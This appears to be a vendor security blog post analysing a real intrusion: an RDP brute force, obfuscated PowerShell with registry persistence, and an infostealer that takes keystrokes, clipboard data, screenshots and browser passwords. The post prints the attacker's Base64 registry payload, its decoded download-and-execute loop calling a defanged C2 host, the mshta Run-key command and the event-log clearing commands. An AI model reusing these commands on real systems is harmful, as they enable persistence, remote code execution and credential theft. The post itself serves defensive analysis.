How Azure Security Center unveils suspicious PowerShell attack
In honor of National Cybersecurity Awareness Month (NCSAM), we have a new post in our series highlighting real-world attacks that Azure Security Center helped detect, investigate, and mitigate. This post is about an attack which used PowerShell to run malicious code and collect user credentials. But before we jump in, here’s a recap of other blog posts in our series where Security Center detected a:
- SQL Brute Force attack
- Bitcoin mining attack
- DDoS attack using cyber threat intelligence
- Good applications being used maliciously
In this post, we’ll walk through another interesting real-world attack scenario which was detected by Azure Security Center and investigated by our team. Names of the affected company, all computer names, and all usernames have been changed to protect privacy. This particular attack employed the use of PowerShell to run malicious code in-memory with the goal of collecting credential information through password stealing, keystroke logging, clipboard scraping, and screen captures. We’ll map out the stages of the compromise which began with an RDP Force attack and resulted in the setup and configuration of persistent auto-starts (ASEP) in the registry. This case study provides insights into the dynamics of the attack and recommendations on how to detect and prevent similar attacks in your environment.
Initial Azure Security Center alert and details
As long as remote administration of internet connected computers has been around, hackers have continued their efforts to discover remote admin services like Remote Desktop Protocol (RDP) running so that they can crack passwords through brute force attacks. Our case begins in a large customer’s Azure Security Center console where they were alerted to RDP brute force activity as well as suspicious PowerShell activity.
In the Azure Security Center screenshot below, you can track the chronological progression from bottom to top as “Failed RDP Brute Force Attack” alerts are followed by a single “Successful RDP Brute Force Attack” alert – an indication that someone logged on via RDP after having guessed a user password. This malicious Brute Force logon is subsequently followed by several alerts for unusual PowerShell activity.
As we examine the initial Successful RDP Brute Force Attack alert, we see the time of the attack, the account that was compromised, the attacking IP address where the attempts originated from (Italy in our case), and a link to Microsoft’s Threat Intel “RDP Brute Forcing” report.
After the successful logon, as we drill down to the subsequent High severity alerts, Azure Security Center chronologically reveals each command lines launched by the attacker once they successfully logged on:
Initial compromise and details of attacker activity
Armed with the information provided by the alerts, our investigative team worked with the customer to examine Account logon logs (Event ID 4624) Process Creation logs (Event ID 4688) taken from the time the attacker initially logged on. From the earliest logon data, we see continual RDP brute force attempts using a variety of Username and Password combinations. Most of these failed attempts result in Event ID 4625 (An account failed to log on), with a Status code of 0xc000006d (The attempted logon is invalid), and a Substatus code of 0xc0000064 (The specified account does not exist).
Around 10:13am on 09-06 we begin to see a change in the Substatus code. We now see the use of username “ContosoAdmin” resulting in a different status code: 0xc000006a (Wrong password). This is followed by successful type 3 logon and type 10 (Remote Interactive) logon using the account “ContosoAdmin”. The logon appears to originate from an IP address in Italy (188.125.100.233).
Looking at Process Creation activity after the logon. The attacker first issues the “whoami” command, which displays who the current logged on user is. They then list the members of the “Domain Admins” group with the net group “Domain Admins” /domain command. This is followed by the “qwinsta” command which displays all Remote Desktop Services sessions. Taskmgr (Windows Task Manager) is then launched to view or manage Process and Services.
About a minute later, another PowerShell command is executed. This command is obfuscated with Base64 encoded strings which are additionally wrapped in a Deflate compression algorithm.
Note: We’ll be digging further into what this command does as we decode the Base64 later in this blog.
About 3 min later, the attacker logs off the machine. But before logging off, they attempt to clean up their tracks by clearing all event logs. This is done with the built-in wevtutil.exe (Windows Events Command Line Utility). First, all Event logs are enumerated with the “el” or “enum-logs” switch. Then all event logs are cleared with the “cl” or “clear-log” switch. Below is a portion of the event clearing commands launched by the attacker.
A closer look at the Base64 encoded PowerShell command
Decoding the encoded Base64 portion from the attacker’s initial command, turns up yet more Base64 encoded commands which reveal:
- Nested Base64 obfuscation.
- All levels of the command executions are obfuscated.
- Created of a registry-only ASEP (Auto-Start Extensibility Point) as a persistence mechanism.
- Malicious code parameters stored in registry.
- Command execution occurs “in-memory” with no file or NTFS artifacts since the ASEP and the parameters are only in the System Registry.
Here’s the initial command issued by the attacker:
Decoding the Base64 reveals registry entries and more Base64 strings to decode…
Decoding these nested Base64 values, we determine that the command does the following:
- The command first stores parameter information for subsequent commands to read from in the registry location named “SeCert” under HKLMSoftwareMicrosoftWindowsCurrentVersion.
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion] "SeCert"="dwBoAGkAbABlACgAMQApAHsAdAByAHkAewBJAEUAWAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALg BEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBkAG0AcwBlAHIAdgBlAHIAcwAuAGMAbwBtAC8AJwArACgAWwBjAGgAYQBy AF0AKAA4ADUALQAoAC0AMwA3ACkAKQApACkAfQBjAGEAdABjAGgAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADAAfQB9AA=="
- The Base64 value in the above registry key decodes to a download command from a malicious C2 (Command and Control) domain (mdmservers[.]com).
while(1){try{IEX(New-Object Net.WebClient).DownloadString('hxxp[:]//mdmservers[.]com/'+([char](85-(-37))))}catch{Start-Sleep -s 10}}
- The attacker’s command then creates a persistence mechanism through a registry ASEP (Auto-start Extensibility Point) named ”SophosMSHTA“ under the “HKLMSoftwareMicrosoftWindowsCurrentVersionRun” key.
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] "SophosMSHTA"="mshta vbscript:CreateObject("Wscript.Shell").Run("powershell.exe -c ""$x=$((gp HKLM:SoftwareMicrosoftWindowsCurrentVersion SeCert).SeCert);powershell -E $x""",0,True)(window.close)"
- This registry persistence ensures that the malicious commands are launched every time the machine is started or restarted.
- The registry ASEP launches the Microsoft Scripting Engine (mshta.exe).
- Mshta.exe, in turn, runs PowerShell.exe which then reads and decodes the value of HKLMSOFTWAREMicrosoftWindowsCurrentVersion -> ”SeCert”.
- The registry values of SeCert tells PowerShell to download and launch a malicious script from 'hxxp[:]//mdmservers[.]com’.
Malicious code downloaded and executed
Once the attacker has setup the persistence mechanism and has logged off, the next restart of the host machine launches PowerShell to download and launch a malicious payload from 'hxxp[:]//mdmservers[.]com'. This malicious script contains various sections which perform specific functions. The table below details the main functions of the malicious payload.
Actions |
Scrapes content from the clipboard and saves output to the following location: %temp%Applnsights_VisualStudio.txt |
Captures all keystrokes to the following location: %temp%key.log |
Takes initial screen capture and saves a .jpg to the following location: %temp%F28DD9-0677-4EAC-91B8-2112B1515341yyyymmdd_hhmmss.jpg |
Takes subsequent screen captures when certain financial or account credential related key words are typed, and saves .jpg to the following location: %temp%F28DD9-0677-4EAC-91B8-2112B1515341yyyymmdd_hhmmss.jpg |
Checks if Google Chrome browser is installed. If so, collects all passwords from Chrome cache and saves to the following location: %temp%Chrome.log |
Checks if Mozilla Firefox browser is installed. If so, collects all passwords from Firefox cache and saves to the following location: %temp%Firefox.log |
Putting it all together
So, let’s summarize what we’ve seen so far in this investigation:
- Initial ingress occurs when admin account is compromised in a successful RDP Brute Force attack.
- The attacker then executes a Base64 obfuscated PowerShell command that sets up a registry ASEP which launches at boot time.
- The attacker then clears evidence of their activity by deleting all event logs with the command: wevtutil.exe -cl <eventlogname>.
- When the affected host is started or rebooted, it launches the malicious registry ASEP at HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
- The registry ASEP launches the Microsoft Scripting Engine (mshta.exe).
- Mshta.exe, in turn, runs PowerShell.exe which then reads and decodes the value of HKLMSOFTWAREMicrosoftWindowsCurrentVersion -> ”SeCert”
- The registry values of “SeCert” tell PowerShell to download and launch a malicious script from 'hxxp[:]//mdmservers[.]com’
- The malicious code from hxxp[:]//mdmservers[.]com then does the following:
- Scrapes content from the clipboard to: %temp%Applnsights_VisualStudio.txt
- Captures all keystrokes to: %temp%key.log
- Takes initial screen capture and saves .jpg to: %temp%F28DD9-0677-4EAC-91B8-2112B1515341yyyymmdd_hhmmss.jpg
- Takes subsequent screen captures when certain financial or account credential related key words are typed, and saves .jpg to the following location: %temp%F28DD9-0677-4EAC-91B8-2112B1515341yyyymmdd_hhmmss.jpg
- Checks if Google Chrome browser is installed. If so, collect all passwords from Chrome cache and saves to: %temp%Chrome.log
- Checks if Mozilla Firefox browser is installed. If so, collect all passwords from Firefox cache and saves to: %temp%Firefox.log
The result of this attack is an information stealing malware which automatically launches from the registry, runs in memory, and collects keystrokes, browser passwords, clipboard data, and screenshots.
How Azure Security Center caught it all
It is evident that the attacker went through extraordinary means to conceal their activity; ensuring all process executions used built-in Windows executables (PowerShell.exe, Mshta.exe, Wevtutil.exe), using command parameters that were obfuscated and stored in the registry, and deleting all event logs to clear their tracks. This effort, however, did not prevent Azure Security Center from detecting, collecting, and reporting this malicious activity.
As we saw at the beginning of this blog, Azure Security Center detected all stages of this attack, providing details of the initial RDP Brute Force attack and revealing all commands at various stages issued by the attacker. You’ll also notice in the Alerts, that all obfuscated commandlines were deciphered, decoded, and presented in clear text at each stage of the attack. This valuable and time saving information helps security response investigators and system administrators answer questions like “What happened?”, “When did this happen?”, “How did they get in?”, “What did they do when they got in?”, and “Where’d they come from?”. Additionally, investigators can also determine if other hosts in their organization may have been compromised through lateral movement from this compromised host. Seeing the bigger picture of this attack can also help to answer motive questions like “what were they after?” In our case, primary purpose appears to be credential stealing with the goal of financial or intellectual gain.
In all of our investigations, Azure Security Center played a pivotal role in helping to determine critical details such as initial ingress/compromise vector, source of attack, possible lateral movement, and scope of the attack. Security Center also details artifacts that can be lost over time due to filesystem overwrites or log retention/storage limitations. Azure Security Center’s ability to ingest, store, analyze, and decipher data from various sources using the latest machine learning and big data analytics, make it invaluable to security analysts, incident responders, and forensic professionals alike.
Recommended remediation and mitigation steps
The initial compromise was the result of a successful RDP Brute force attack on a user account which had an easily guessed password. This resulted in the complete compromise of the affected host machine. In this case, the host was configured with a malicious PowerShell code with the primary purpose of credential stealing with the goal of financial or intellectual gain. Microsoft recommends investigating the source of the initial compromise via a review of available log sources, host-based analysis, and if needed, forensic analysis to help build a picture of the compromise. In the case of Azure Infrastructure as a Service (IaaS) and Virtual Machines (VMs), several features are present to facilitate the collection of data including the ability to attach data drives to a running machine and disk imaging capabilities. Microsoft also recommends performing a scan using malware protection software to help identify and remove any malicious software running on the host. If lateral movement has been identified from the compromised host, remediation actions should extend to these hosts.
For cases where the victim host cannot be confirmed clean, or a root cause of the compromise cannot be identified, Microsoft recommends backing up critical data and migrating to a new virtual machine. Additionally, new or remediated hosts should be hardened prior to being placed back on the network to prevent reinfection. However, with the understanding that this sometimes cannot be done immediately, we recommend implementing the following remediation/preventative steps:
- Password Policy: Attackers usually launch brute-force attacks using widely available tools that utilize wordlists and smart rule sets to intelligently and automatically guess user passwords. So, the first step is to make sure to utilize complex passwords for all VMs. A complex password policy that enforces frequent password changes should be in place. Learn more about the best practices for enforcing password policies.
- Endpoints: Endpoints allows communication with your VM from the Internet. When creating a VM in the Azure environment, two endpoints get created by default to help manage the VM, Remote Desktop and PowerShell. It is recommended to remove any endpoints that are not needed and to only add them when required. Should you have an endpoint open, it is recommended to change the public port that is used whenever possible. When creating a new Windows VM, by default the public port for Remote Desktop is set to “Auto” which means a random public port will get automatically generated for you. Get more information on how to set up endpoints on a classic Windows virtual machine in Azure.
- Enable Network Security Group: Azure Security Center recommends that you enable a network security group (NSG), if it’s not already enabled. NSGs contain a list of Access Control List (ACL) rules that allow or deny network traffic to your VM instances in a Virtual Network. An endpoint ACL allows you to control which IP address, or CIDR subnet of addresses, you want to allow access over that management protocol. Learn more about how to filter network traffic with network security groups and enable Network Security Groups in Azure Security Center.
- Using VPN for management: A VPN gateway is a type of virtual network gateway that sends encrypted traffic across a public connection to an on-premises location. You can also use VPN gateways to send encrypted traffic between Azure virtual networks over the Microsoft network. To send encrypted network traffic between your Azure virtual network and on-premises site, you must create a VPN gateway for your virtual network. Both Site to Site and Point to Site gateway connections allows us to completely remove public endpoints and connect directly to the Virtual Machine over secure VPN connection.
- Network Level Authentication (NLA): NLA can be used on the host machine to allow only Remote Desktop session creation from domain authenticated users. Because NLA requires the connecting user to authenticate themselves before a session is established with the server, Brute Force, Dictionary Attacks and password guessing attacks are mitigated.
- Just In Time (JIT) Network Access: Just in time virtual machine (VM) access in Azure Security Center can be used to help secure and lock down inbound traffic to your Azure VMs. JIT Network Access can be used reduce exposure to a brute force attacks by limiting the amount of time that a port is open and as a result reduce exposure to attacks while providing easy access to connect to VMs when needed.
Resources
The PowerShell team has done a ton of work making PowerShell the most security transparent scripting language and shell in existence. The following links talk more about how to address the PowerShell issues:
- https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/
- https://www.youtube.com/watch?v=ZkJ64_tQxPU
- https://twitter.com/Lee_Holmes/status/922462821081694208
- https://blogs.msdn.microsoft.com/powershell/2017/10/23/defending-against-powershell-attacks/
For a more information on the malicious script and its output, see the following:
- A most interesting PowerShell trojan [PowerShell sample and Raw Paste data provided by @JohnLaTwC]
- Windows Defender Malware Encyclopedia Entry: Spyware:PowerShell/Tripelog
Learn more about Azure Security Center, see the following:
- Azure Security Center’s detection capabilities
- Managing and responding to security alerts in Azure Security Center
- Managing security recommendations in Azure Security Center
- Security health monitoring in Azure Security Center
- Monitoring partner solutions with Azure Security Center
- Azure Security Center FAQ
- Get the latest Azure security news and information by reading the Azure Security blog.
Source: Big Data